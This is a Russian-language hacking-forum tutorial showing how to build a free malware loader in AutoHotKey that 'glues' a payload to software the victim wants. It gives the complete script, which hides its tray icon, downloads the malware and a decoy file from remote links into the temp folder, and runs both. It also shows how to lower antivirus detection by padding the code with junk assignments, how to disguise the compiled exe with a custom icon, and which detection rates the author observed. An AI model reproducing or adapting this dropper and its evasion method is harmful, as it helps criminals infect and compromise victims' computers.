Author's article We make gluing and loader with our own hands! 0 investments!

Здарова ребят, сегодня я покажу бесплатный способ сделать простенький лоадер для вашего мальваря.
Помимо всей лёгкости этого дела, данному лоадеру очень легко чистить детекты.

Почему это лучше покупных лоадеров?
А вам нравится каждую неделю платить за чистку детектов? Если вы конечно, не умеете сами криптовать файлы.
Здесь же всё очень просто, и вы не рискуете своим мальварём, ибо пользователь с ним напрямую не контактирует.
А также нет зависимостей и не нужны права администратора.

Язык программирования: AutoHotKey. Уровень сложности: тупой сампер. Поехали!

Для начала, где будем писать?
Да где угодно, хоть в блокноте, главное потом текстовому файлу изменить разрешение на .ahk
Но для своей удобности я воспользуюсь SciTE4AutoHotKey, Т9 на функции, компилятор и прочие приколюхи.
Также устанавливаем библиотеку AutoHotKey с официального сайта — autohotkey.com

С чего начнём?
Начнём с того, что обозначим, что наша программа будет работать без иконки в трее.

#NoTrayIcon

Code

#NoTrayIcon

Далее, загружаем склеиваемый файл и сам мальварь на хостинг, или ФО. Главное чтобы на них была прямая ссылка.
После этого, вставляем 2 функции загрузки файла, с сохранением в временное хранилище.

#NoTrayIcon

URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА МАЛЬВАРЬ, %A_Temp%\st.exe
URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА СКЛЕИВАЕМЫЙ ФАЙЛ, %A_Temp%\keymaker.exe

Code

#NoTrayIcon



URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА МАЛЬВАРЬ, %A_Temp%\st.exe

URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА СКЛЕИВАЕМЫЙ ФАЙЛ, %A_Temp%\keymaker.exe

Первый файл - пусть будет условно наш ******.
Второй файл - софт, который просто нужен жертве.

Далее, запускаем цикл, который проверяет файлы на наличие, и после их обнаружения запускающий их.

#NoTrayIcon

URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА МАЛЬВАРЬ, %A_Temp%\st.exe
URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА СКЛЕИВАЕМЫЙ ФАЙЛ, %A_Temp%\keymaker.exe

Loop
{
IfExist, %A_Temp%\st.exe
{
IfExist, %A_Temp%\keymaker.exe
{
Run, %A_Temp%\keymaker.exe
Run, %A_Temp%\st.exe
Sleep, 1000
ExitApp
}
}
}

Code

#NoTrayIcon



URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА МАЛЬВАРЬ, %A_Temp%\st.exe

URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА СКЛЕИВАЕМЫЙ ФАЙЛ, %A_Temp%\keymaker.exe



Loop

{

    IfExist, %A_Temp%\st.exe

    {

        IfExist, %A_Temp%\keymaker.exe

        {

            Run, %A_Temp%\keymaker.exe

            Run, %A_Temp%\st.exe

            Sleep, 1000

            ExitApp

        }

    }

}

IfExist проверяет наличие файлов в временном хранилище. После проверки, если она успешная, запускаются 2 файла, наш мальварь, и софт который собственно нужен жертве.
Далее просто лоадер закрывается, пользователь работает с софтом который ему нужен, а мальварь выполняет своё дело.

Как чистить детекты?
Очень просто, добавляем бесполезную нагрузку в код софта, например присваиваем переменным различные значения:

#NoTrayIcon

URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА МАЛЬВАРЬ, %A_Temp%\st.exe
URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА СКЛЕИВАЕМЫЙ ФАЙЛ, %A_Temp%\keymaker.exe

Loop
{
IfExist, %A_Temp%\st.exe
{
IfExist, %A_Temp%\keymaker.exe
{
Run, %A_Temp%\keymaker.exe
Run, %A_Temp%\st.exe
Sleep, 1000
ExitApp
}
}
}




A:= 228
B:= A
C:= "fqfqfvwg"
B:= C
A:= 25868

Code

#NoTrayIcon



URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА МАЛЬВАРЬ, %A_Temp%\st.exe

URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА СКЛЕИВАЕМЫЙ ФАЙЛ, %A_Temp%\keymaker.exe



Loop

{

   IfExist, %A_Temp%\st.exe

   {

       IfExist, %A_Temp%\keymaker.exe

       {

           Run, %A_Temp%\keymaker.exe

           Run, %A_Temp%\st.exe

           Sleep, 1000

           ExitApp

       }

   }

}









A:= 228

B:= A

C:= "fqfqfvwg"

B:= C

A:= 25868

После этого, детект чистится.

После написания компилируем в exe и радуемся.
Вес билда ~ 700 кб.

Screenshot

После компиляции у софта будет такая иконка:

Screenshot

Для установления кастомной иконки воспользуемся компилятором от AutoHotKey.
Переходим по пути: Ваш путь\AutoHotkey\Compiler
Запускаем Ahk2Exe, и в строке Custom Icon выбираем свою иконку, компилируем.

Screenshot

Также добавлю из своих наблюдений касательно детектов:
Начальный детект - 2/70
Спустя 2-3 дня детект - не более 6/70
При этом начальный детект составляет 2 нонейм АВ, а в конечном там максимум окажется Kaspersky.
И это всё учитывая то, что я намеренно сливал на VirusTotal для проверки данной информации.
Так что у Вас может быть всё куда круче!

Вот и всё, вроде бы рассказал обо всех аспектах этого дела.
Надеюсь кому-нибудь будет полезна эта информация, и сэкономит не мало деньжат.
Всем спасибо